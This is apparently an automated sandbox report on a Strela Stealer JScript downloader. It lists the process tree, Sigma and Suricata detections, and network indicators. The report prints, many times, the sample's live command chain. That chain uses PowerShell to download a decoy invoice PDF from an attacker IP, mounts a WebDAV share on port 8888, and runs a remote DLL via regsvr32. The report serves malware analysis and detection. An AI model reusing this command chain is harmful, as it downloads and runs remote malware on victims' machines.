Edit tour

Windows Analysis Report
213045010931018335.js

Overview

General Information

Sample name:	213045010931018335.js
Analysis ID:	1587832
MD5:	718868db9a376d616e8d5ce14c606c24
SHA1:	314f4c639244dd604aeff3d0c3f785dfa31dab0f
SHA256:	07cab64f33220e37a14c202d7a86088813e13469bba91d1bd5289b71a82e61fe
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6712 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6988 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4080 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2816 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,8268198196669219544,7547792718768048642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2596 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3496 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6712	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4080, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4080, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ProcessId: 6712, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3496, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ProcessId: 6712, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4080, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3496, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5596, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2596, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3496, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213045010931018335.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6712, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll, ProcessId: 6988, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:23:01.516632+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:22:58.883556+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 213045010931018335.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 213045010931018335.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:22:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

